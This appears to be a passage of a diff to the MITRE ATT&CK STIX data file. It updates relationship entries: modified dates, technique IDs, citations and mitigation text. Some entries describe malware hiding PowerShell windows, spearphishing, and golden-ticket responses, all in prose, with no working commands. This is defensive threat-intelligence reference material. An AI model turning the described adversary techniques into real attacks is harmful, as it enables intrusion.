Feb 2017)", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses -w Hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1059/001) window that downloads a payload. (Citation: PWC KeyBoys Feb 2017)", "relationship_type": "uses", "id": "relationship--527e03b3-5b14-4a6c-ab05-0e18bac0357d", "type": "relationship", - "modified": "2019-10-11T20:13:22.344Z", + "modified": "2021-02-09T14:04:15.777Z", "created": "2019-10-11T03:32:15.674Z" }, { @@ -161034,11 +162630,11 @@ "source_name": "FireEye APT34 Dec 2017" } ], - "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses -windowstyle hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1086) window that downloads a payload.(Citation: FireEye APT34 Dec 2017)", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses -windowstyle hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1059/001) window that downloads a payload.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "id": "relationship--5c9bea96-819a-4a39-9814-62f3473530a4", "type": "relationship", - "modified": "2019-10-11T19:43:24.876Z", + "modified": "2021-02-09T14:06:12.832Z", "created": "2019-10-11T04:02:42.292Z" }, { @@ -161482,11 +163078,11 @@ "source_name": "FireEye APT29" } ], - "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) has used -WindowStyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.(Citation: FireEye APT29)", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) has used -WindowStyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: FireEye APT29)", "relationship_type": "uses", "id": "relationship--3877277b-ae7c-4cb8-b564-3263b235c1e7", "type": "relationship", - "modified": "2019-10-11T19:07:42.330Z", + "modified": "2021-02-09T13:58:23.904Z", "created": "2019-10-11T19:07:42.330Z" }, { @@ -161500,7 +163096,7 @@ "description": "Enforce the principle of least-privilege by limiting dashboard visibility to only the resources required. This may limit the discovery value of the dashboard in the event of a compromised account.", "id": "relationship--ba2b1689-b46c-4451-9618-1c1669a0da0c", "type": "relationship", - "modified": "2020-07-14T19:19:01.079Z", + "modified": "2021-03-16T12:56:36.221Z", "created": "2019-10-11T20:39:32.568Z" }, { @@ -161542,7 +163138,7 @@ } ], "type": "relationship", - "modified": "2020-04-21T15:26:25.905Z", + "modified": "2021-04-14T17:57:08.071Z", "created": "2019-10-14T16:25:38.680Z" }, { @@ -161556,7 +163152,7 @@ "description": "Configure browsers or tasks to regularly delete persistent cookies.", "id": "relationship--248a0d72-d9cd-43d3-985f-a33a49a79e8b", "type": "relationship", - "modified": "2020-04-21T15:26:25.894Z", + "modified": "2021-04-14T17:57:08.062Z", "created": "2019-10-14T16:25:38.693Z" }, { @@ -161570,7 +163166,7 @@ "description": "Train users to identify aspects of phishing attempts where they're asked to enter credentials into a site that has the incorrect domain for the application they are logging into.", "id": "relationship--f780f9d8-1baa-41b7-b7a1-acba717df0ab", "type": "relationship", - "modified": "2020-04-21T15:26:25.950Z", + "modified": "2021-04-14T17:57:08.080Z", "created": "2019-10-14T16:25:38.695Z" }, { @@ -161643,21 +163239,26 @@ "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "external_references": [ { - "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", - "source_name": "ESET Machete July 2019" + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." }, { - "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", - "source_name": "Securelist Machete Aug 2014" + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) uses Python scripts.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) is written in Python and is used in conjunction with additional Python scripts.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--cb58db80-48e9-4138-9ce4-bd726a3d1745", "type": "relationship", - "modified": "2020-03-17T19:41:06.993Z", + "modified": "2020-11-23T22:25:18.711Z", "created": "2019-10-15T21:15:19.842Z" }, { @@ -161711,26 +163312,31 @@ "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "external_references": [ { - "source_name": "Cylance Machete Mar 2017", + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." + "source_name": "Cylance Machete Mar 2017" }, { - "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", - "source_name": "Securelist Machete Aug 2014" + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." }, { - "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", - "source_name": "ESET Machete July 2019" + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious attachments delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious attachments delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--0f880e99-efaa-4e85-91c3-cac3d81d6b9a", "type": "relationship", - "modified": "2020-03-17T14:46:40.368Z", + "modified": "2020-11-23T22:19:46.936Z", "created": "2019-10-15T22:28:40.394Z" }, { @@ -161756,7 +163362,7 @@ } ], "type": "relationship", - "modified": "2020-05-20T13:12:02.994Z", + "modified": "2021-04-12T18:28:28.140Z", "created": "2019-10-16T20:44:09.399Z" }, { @@ -162067,7 +163673,7 @@ "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. ", "id": "relationship--9fad01af-77b7-44b2-a3fc-0a7b338b9ace", "type": "relationship", - "modified": "2020-03-24T13:45:03.933Z", + "modified": "2020-12-30T14:26:44.902Z", "created": "2019-11-27T14:58:00.672Z" }, { @@ -162088,7 +163694,7 @@ } ], "type": "relationship", - "modified": "2020-03-24T13:45:03.947Z", + "modified": "2020-12-30T14:26:44.885Z", "created": "2019-11-27T14:58:00.679Z" }, { @@ -162109,7 +163715,7 @@ } ], "type": "relationship", - "modified": "2020-03-24T13:45:03.971Z", + "modified": "2020-12-30T14:26:44.914Z", "created": "2019-11-27T14:58:00.681Z" }, { @@ -162130,7 +163736,7 @@ } ], "type": "relationship", - "modified": "2020-03-24T13:45:03.973Z", + "modified": "2020-12-30T14:26:44.915Z", "created": "2019-11-27T14:58:00.694Z" }, { @@ -163251,7 +164857,7 @@ "description": "Do not allow domain administrator or root accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", "id": "relationship--8b4c2543-e2f1-4f7c-b687-d07e7a4c763c", "type": "relationship", - "modified": "2020-10-05T16:43:27.188Z", + "modified": "2020-12-18T14:57:08.126Z", "created": "2020-01-19T16:10:15.496Z" }, { @@ -163265,7 +164871,7 @@ "description": "Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.", "id": "relationship--69f9daff-c253-4d99-94e6-cd2a7a9483dc", "type": "relationship", - "modified": "2020-10-05T16:43:27.201Z", + "modified": "2020-12-18T14:57:08.141Z", "created": "2020-01-19T16:10:15.530Z" }, { @@ -163286,7 +164892,7 @@ } ], "type": "relationship", - "modified": "2020-10-05T16:43:27.220Z", + "modified": "2020-12-18T14:57:08.162Z", "created": "2020-01-19T16:10:15.541Z" }, { @@ -163471,7 +165077,7 @@ "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.", "id": "relationship--9c7faf9b-c0ee-419f-b816-777edebd3a2a", "type": "relationship", - "modified": "2020-06-20T22:31:42.235Z", + "modified": "2021-01-20T18:12:11.952Z", "created": "2020-01-23T18:07:00.774Z" }, { @@ -163569,7 +165175,7 @@ "description": "Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", "id": "relationship--1837a0e7-d8aa-4c96-8213-7d08ceb86390", "type": "relationship", - "modified": "2020-06-20T22:35:27.822Z", + "modified": "2020-12-30T14:29:06.637Z", "created": "2020-01-23T19:32:49.903Z" }, { @@ -163583,7 +165189,7 @@ "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.", "id": "relationship--98afbb05-d48e-4438-add6-df3ea9fb568c", "type": "relationship", - "modified": "2020-06-20T22:35:27.839Z", + "modified": "2020-12-30T14:29:06.648Z", "created": "2020-01-23T19:32:49.905Z" }, { @@ -163862,7 +165468,7 @@ "description": "By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI.", "id": "relationship--38a350e5-634c-4dcb-8f6c-0615cdb37864", "type": "relationship", - "modified": "2020-05-05T12:02:45.820Z", + "modified": "2021-04-13T21:32:54.375Z", "created": "2020-01-24T14:07:56.461Z" }, { @@ -163883,7 +165489,7 @@ } ], "type": "relationship", - "modified": "2020-05-05T12:02:45.845Z", + "modified": "2021-04-13T21:32:54.394Z", "created": "2020-01-24T14:07:56.465Z" }, { @@ -163923,7 +165529,7 @@ "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", "id": "relationship--be36df4d-4180-4271-ae0a-a7677df40261", "type": "relationship", - "modified": "2020-03-24T16:28:05.109Z", + "modified": "2021-03-08T15:22:54.376Z", "created": "2020-01-24T14:13:46.122Z" }, { @@ -164197,7 +165803,7 @@ "description": "Restrict execution of Msiexec.exe to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.", "id": "relationship--f3b4fdd4-24fa-48ed-8ffb-f80ad651c797", "type": "relationship", - "modified": "2020-06-20T22:38:14.276Z", + "modified": "2020-12-14T18:40:45.325Z", "created": "2020-01-24T14:43:54.309Z" }, { @@ -164860,7 +166466,7 @@ } ], "type": "relationship", - "modified": "2020-06-30T21:23:15.609Z", + "modified": "2020-11-05T15:38:21.741Z", "created": "2020-01-24T17:42:23.786Z" }, { @@ -164886,7 +166492,7 @@ } ], "type": "relationship", - "modified": "2020-06-30T21:23:15.633Z", + "modified": "2020-11-05T15:38:21.751Z", "created": "2020-01-24T17:42:23.790Z" }, { @@ -164900,7 +166506,7 @@ "description": "Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.", "id": "relationship--4907e8fb-e224-49a6-aa94-5a76afa714ba", "type": "relationship", - "modified": "2020-06-30T21:23:15.655Z", + "modified": "2020-11-05T15:38:21.748Z", "created": "2020-01-24T17:42:23.791Z" }, { @@ -165081,7 +166687,7 @@ } ], "type": "relationship", - "modified": "2020-03-25T17:21:27.618Z", + "modified": "2021-04-13T21:30:24.643Z", "created": "2020-01-24T19:00:33.123Z" }, { @@ -165422,7 +167028,7 @@ "description": "Do not allow privileged accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", "id": "relationship--6a11c7bd-61ef-4b08-bee5-856f3bd401d1", "type": "relationship", - "modified": "2020-03-24T12:44:28.164Z", + "modified": "2021-03-16T12:47:00.314Z", "created": "2020-01-29T17:32:31.065Z" }, { @@ -165436,7 +167042,7 @@ "description": "Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.", "id": "relationship--3f955b55-4a20-46f5-bf40-802382642b33", "type": "relationship", - "modified": "2020-03-24T12:44:28.162Z", + "modified": "2021-03-16T12:47:00.316Z", "created": "2020-01-29T17:32:31.076Z" }, { @@ -165450,7 +167056,7 @@ "description": "Use multi-factor authentication for user and privileged accounts.", "id": "relationship--509555cb-1a35-4e09-bc6e-a2c9c521f827", "type": "relationship", - "modified": "2020-03-24T12:44:28.171Z", + "modified": "2021-03-16T12:47:00.329Z", "created": "2020-01-29T17:32:31.082Z" }, { @@ -165648,7 +167254,7 @@ "description": "Enforce the principle of least-privilege. Do not allow a domain user to be in the local administrator group on multiple systems.", "id": "relationship--bdf60e66-264d-45ec-bb67-b74fa04fe28e", "type": "relationship", - "modified": "2020-03-23T15:49:57.033Z", + "modified": "2021-04-14T18:08:25.062Z", "created": "2020-01-30T16:18:37.236Z" }, { @@ -165662,7 +167268,7 @@ "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", "id": "relationship--72904b3d-5b24-4698-8094-8919f3bda494", "type": "relationship", - "modified": "2020-03-23T15:49:57.047Z", + "modified": "2021-04-14T18:08:25.079Z", "created": "2020-01-30T16:18:37.239Z" }, { @@ -165676,7 +167282,7 @@ "description": "Do not allow a domain user to be in the local administrator group on multiple systems.", "id": "relationship--7e5e2fd3-cab4-4853-81ad-9bf50e1390bd", "type": "relationship", - "modified": "2020-03-23T16:24:34.953Z", + "modified": "2021-03-15T21:04:33.349Z", "created": "2020-01-30T16:36:51.559Z" }, { @@ -165697,7 +167303,7 @@ } ], "type": "relationship", - "modified": "2020-03-23T16:24:34.951Z", + "modified": "2021-03-15T21:04:33.413Z", "created": "2020-01-30T16:36:51.574Z" }, { @@ -165708,10 +167314,17 @@ "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "relationship_type": "mitigates", - "description": "Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. ", + "description": "Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.(Citation: NSA Spotting) ", "id": "relationship--0c0cd7a2-496b-458d-b041-e05816450502", + "external_references": [ + { + "source_name": "NSA Spotting", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + } + ], "type": "relationship", - "modified": "2020-03-23T16:24:34.955Z", + "modified": "2021-03-15T21:04:33.487Z", "created": "2020-01-30T16:36:51.580Z" }, { @@ -165725,7 +167338,7 @@ "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.", "id": "relationship--b06103d8-d410-418e-851a-63ca820cc27e", "type": "relationship", - "modified": "2020-03-23T16:24:34.987Z", + "modified": "2021-03-15T21:04:33.486Z", "created": "2020-01-30T16:36:51.582Z" }, { @@ -165752,7 +167365,7 @@ "description": "Do not allow a user to be a local administrator for multiple systems.", "id": "relationship--4ff3969a-4992-43c0-b4dc-02a21f5c9b2b", "type": "relationship", - "modified": "2020-03-12T17:03:16.294Z", + "modified": "2021-03-15T21:42:12.147Z", "created": "2020-01-30T17:03:43.449Z" }, { @@ -165773,7 +167386,7 @@ } ], "type": "relationship", - "modified": "2020-03-12T17:03:16.327Z", + "modified": "2021-03-15T21:42:12.197Z", "created": "2020-01-30T17:03:43.468Z" }, { @@ -165784,17 +167397,22 @@ "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "relationship_type": "mitigates", - "description": "To contain the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.(Citation: ADSecurity Kerberos and KRBTGT)", + "description": "To contain the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.(Citation: ADSecurity Kerberos and KRBTGT) For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", "id": "relationship--918a7d67-faea-4a41-9ed3-e3558fca73db", "external_references": [ { "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.", "url": "https://adsecurity.org/?p=483", "source_name": "ADSecurity Kerberos and KRBTGT" + }, + { + "source_name": "STIG krbtgt reset", + "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779", + "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020." } ], "type": "relationship", - "modified": "2020-03-31T12:55:58.036Z", + "modified": "2021-03-15T21:42:12.199Z", "created": "2020-01-30T17:03:43.477Z" }, { @@ -165808,7 +167426,7 @@ "description": "Ensure that local administrator accounts have complex, unique passwords.", "id": "relationship--214b91f3-a71f-45b2-b85a-b1510d947806", "type": "relationship", - "modified": "2020-03-12T17:03:16.380Z", + "modified": "2021-03-15T21:42:12.249Z", "created": "2020-01-30T17:03:43.475Z" }, { @@ -165842,7 +167460,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T19:40:02.187Z", + "modified": "2021-04-14T18:09:45.724Z", "created": "2020-01-30T17:37:22.721Z" }, { @@ -165856,7 +167474,7 @@ "description": "File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.", "id": "relationship--efafd777-c53d-4459-8765-2e5e44cd0ea1", "type": "relationship", - "modified": "2020-09-16T19:40:02.197Z", + "modified": "2021-04-14T18:09:45.734Z", "created": "2020-01-30T17:37:22.734Z" }, { @@ -165870,7 +167488,7 @@ "description": "Administrators can leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", "id": "relationship--86f6ea64-eb95-4228-956f-eae82b8f49d8", "type": "relationship", - "modified": "2020-09-16T19:40:02.220Z", + "modified": "2021-04-14T18:09:45.758Z", "created": "2020-01-30T17:37:22.737Z" }, { @@ -165897,7 +167515,7 @@ "description": "Configure browsers or tasks to regularly delete persistent cookies.", "id": "relationship--10017b2e-7234-4368-81d7-a4c8b98c26a0", "type": "relationship", - "modified": "2020-09-16T19:40:44.654Z", + "modified": "2021-04-14T13:21:37.593Z", "created": "2020-01-30T17:48:49.736Z" }, { @@ -166089,7 +167707,7 @@ "relationship_type": "mitigates", "id": "relationship--5b421438-02fd-4f24-9e32-d2f4ffe1f1fe", "type": "relationship", - "modified": "2020-01-31T12:39:19.051Z", + "modified": "2021-02-09T13:31:02.051Z", "created": "2020-01-31T12:39:19.051Z" }, { @@ -166286,7 +167904,7 @@ "description": "Establish an organizational policy that prohibits password storage in files.", "id": "relationship--fab558cd-cb4a-4e7a-a3c7-184bee680019", "type": "relationship", - "modified": "2020-03-25T18:30:10.821Z", + "modified": "2021-04-12T18:32:33.066Z", "created": "2020-02-04T12:52:13.341Z" }, { @@ -166300,7 +167918,7 @@ "description": "Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.", "id": "relationship--dac6c0a0-9eba-41b5-95c1-2f340d12b175", "type": "relationship", - "modified": "2020-03-25T18:30:10.819Z", + "modified": "2021-04-12T18:32:33.058Z", "created": "2020-02-04T12:52:13.346Z" }, { @@ -166314,7 +167932,7 @@ "description": "Restrict file shares to specific directories with access only to necessary users.", "id": "relationship--f4ac7555-2b20-4345-998e-6ffc462cab03", "type": "relationship", - "modified": "2020-03-25T18:30:10.822Z", + "modified": "2021-04-12T18:32:33.064Z", "created": "2020-02-04T12:52:13.350Z" }, { @@ -166328,7 +167946,7 @@ "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.", "id": "relationship--934be676-4444-4ab3-a411-dc9a8dc9c4bb", "type": "relationship", - "modified": "2020-03-25T18:30:10.856Z", + "modified": "2021-04-12T18:32:33.067Z", "created": "2020-02-04T12:52:13.344Z" }, { @@ -166349,7 +167967,7 @@ } ], "type": "relationship", - "modified": "2020-03-25T18:30:10.893Z", + "modified": "2021-04-12T18:32:33.085Z", "created": "2020-02-04T12:52:13.382Z" }, { @@ -166608,7 +168226,7 @@ "description": "Preemptively search for files containing passwords or other credentials and take actions to reduce the exposure risk when found.", "id": "relationship--abe43d10-714a-4f29-b164-d7cadd83cb61", "type": "relationship", - "modified": "2020-10-12T21:38:13.130Z", + "modified": "2021-03-16T12:53:42.564Z", "created": "2020-02-04T13:42:40.685Z" }, { @@ -166629,7 +168247,7 @@ } ], "type": "relationship", - "modified": "2020-10-12T21:38:13.166Z", + "modified": "2021-03-16T12:53:42.523Z", "created": "2020-02-04T13:42:40.694Z" }, { @@ -166643,7 +168261,7 @@ "description": "Restrict file shares to specific directories with access only to necessary users.", "id": "relationship--8497e912-185d-403b-865e-17c4b02290d2", "type": "relationship", - "modified": "2020-10-12T21:38:13.199Z", + "modified": "2021-03-16T12:53:42.521Z", "created": "2020-02-04T13:42:40.704Z" }, { @@ -166959,7 +168577,7 @@ "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented. ", "id": "relationship--90ad45d7-1980-4909-97f2-3c5a10a47deb", "type": "relationship", - "modified": "2020-06-20T22:42:26.181Z", + "modified": "2021-02-09T15:58:04.947Z", "created": "2020-02-05T19:34:05.063Z" }, { @@ -166973,7 +168591,7 @@ "description": "Restrict storage and execution of SIP DLLs to protected directories, such as C:\\\\Windows, rather than user directories.", "id": "relationship--ee2fcc2b-735d-4948-b25a-401f60fe7412", "type": "relationship", - "modified": "2020-06-20T22:42:26.188Z", + "modified": "2021-02-09T15:58:04.945Z", "created": "2020-02-05T19:34:05.077Z" }, { @@ -166987,7 +168605,7 @@ "description": "Enable application control solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.", "id": "relationship--08dd36a7-dee0-4f25-b3dc-d030c32151f5", "type": "relationship", - "modified": "2020-06-20T22:42:26.196Z", + "modified": "2021-02-09T15:58:04.966Z", "created": "2020-02-05T19:34:05.079Z" }, { @@ -167169,10 +168787,10 @@ "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "relationship_type": "mitigates", - "description": "Require signed binaries.", + "description": "Require signed binaries and images.", "id": "relationship--3c37c043-7f27-4fb9-ba7f-bce3181849ac", "type": "relationship", - "modified": "2020-06-20T22:11:46.117Z", + "modified": "2021-04-20T19:23:37.965Z", "created": "2020-02-10T20:43:10.389Z" }, { @@ -167186,7 +168804,7 @@ "description": "Use tools that restrict program execution via application control by attributes other than file name for common operating system utilities that are needed.", "id": "relationship--095e5f7b-288c-4995-8045-b691602d38c9", "type": "relationship", - "modified": "2020-06-20T22:11:46.134Z", + "modified": "2021-04-20T19:23:37.972Z", "created": "2020-02-10T20:43:10.395Z" }, { @@ -167200,7 +168818,7 @@ "description": "Use file system access controls to protect folders such as C:\\Windows\\System32.", "id": "relationship--026e7bb0-2037-4bfc-b9ae-98e70530f22a", "type": "relationship", - "modified": "2020-06-20T22:11:46.136Z", + "modified": "2021-04-20T19:23:37.993Z", "created": "2020-02-10T20:43:10.408Z" }, { @@ -167251,16 +168869,16 @@ "target_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has a module for creating a new domain user if permissions allow.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--f3f4558a-a0bd-4162-92e4-be986ec1511d", "type": "relationship", - "modified": "2020-02-11T16:22:47.926Z", + "modified": "2021-04-09T14:47:00.128Z", "created": "2020-02-11T16:22:47.925Z" }, { @@ -168343,7 +169961,7 @@ "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.\n\nOrganizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations.", "id": "relationship--c19fcf1c-8c2c-4a71-a1fb-43934cc6ba23", "type": "relationship", - "modified": "2020-03-25T18:40:15.669Z", + "modified": "2021-04-24T13:54:58.802Z", "created": "2020-02-17T13:03:42.660Z" }, { @@ -168371,7 +169989,7 @@ "description": "Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.", "id": "relationship--d2bb226a-810d-47ea-be8d-397b9dd94031", "type": "relationship", - "modified": "2020-02-17T13:20:02.698Z", + "modified": "2021-04-14T14:03:49.504Z", "created": "2020-02-17T13:20:02.698Z" }, { @@ -168392,7 +170010,7 @@ } ], "type": "relationship", - "modified": "2020-10-15T19:39:35.471Z", + "modified": "2021-03-31T19:41:07.159Z", "created": "2020-02-17T20:44:54.835Z" }, { @@ -168682,11 +170300,6 @@ "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", "source_name": "Microsoft Netdom Trust Sept 2012" }, - { - "url": "https://technet.microsoft.com/library/cc835085.aspx", - "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", - "source_name": "Microsoft Netdom Trust Sept 2012" - }, { "url": "https://adsecurity.org/?p=1640", "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", @@ -168694,7 +170307,7 @@ } ], "type": "relationship", - "modified": "2020-05-29T16:34:40.559Z", + "modified": "2021-02-09T15:49:58.567Z", "created": "2020-02-18T18:34:49.716Z" }, { @@ -168761,7 +170374,7 @@ "description": "Use of multi-factor authentication for public-facing webmail servers is a recommended best practice to minimize the usefulness of usernames and passwords to adversaries.", "id": "relationship--854e11fd-f29e-4b7e-a3c2-f4c8c9ee302f", "type": "relationship", - "modified": "2020-02-19T20:53:51.241Z", + "modified": "2021-03-25T13:12:57.027Z", "created": "2020-02-19T18:52:25.295Z" }, { @@ -168775,7 +170388,7 @@ "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.", "id": "relationship--8178dba2-1469-4322-af59-f6935152deb0", "type": "relationship", - "modified": "2020-02-19T20:53:51.258Z", + "modified": "2021-03-25T13:12:57.040Z", "created": "2020-02-19T18:52:25.314Z" }, { @@ -168802,7 +170415,7 @@ "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.", "id": "relationship--9e134214-4cb2-438b-9306-22e7d1ea80fe", "type": "relationship", - "modified": "2020-03-24T18:29:49.105Z", + "modified": "2021-03-25T13:08:30.820Z", "created": "2020-02-19T18:54:47.760Z" }, { @@ -168823,7 +170436,7 @@ } ], "type": "relationship", - "modified": "2020-03-24T18:29:49.119Z", + "modified": "2021-03-25T13:08:30.826Z", "created": "2020-02-19T18:54:47.762Z" }, { @@ -168850,7 +170463,7 @@ "description": "Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.", "id": "relationship--d729c871-d15b-4213-a492-b44fc1e96328", "type": "relationship", - "modified": "2020-03-24T20:46:23.819Z", + "modified": "2021-04-22T20:20:14.953Z", "created": "2020-02-19T20:36:33.587Z" }, { @@ -168864,7 +170477,7 @@ "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "id": "relationship--684f1e70-9f35-4810-9477-133d2641bdbd", "type": "relationship", - "modified": "2020-03-24T20:46:23.821Z", + "modified": "2021-04-22T20:20:14.964Z", 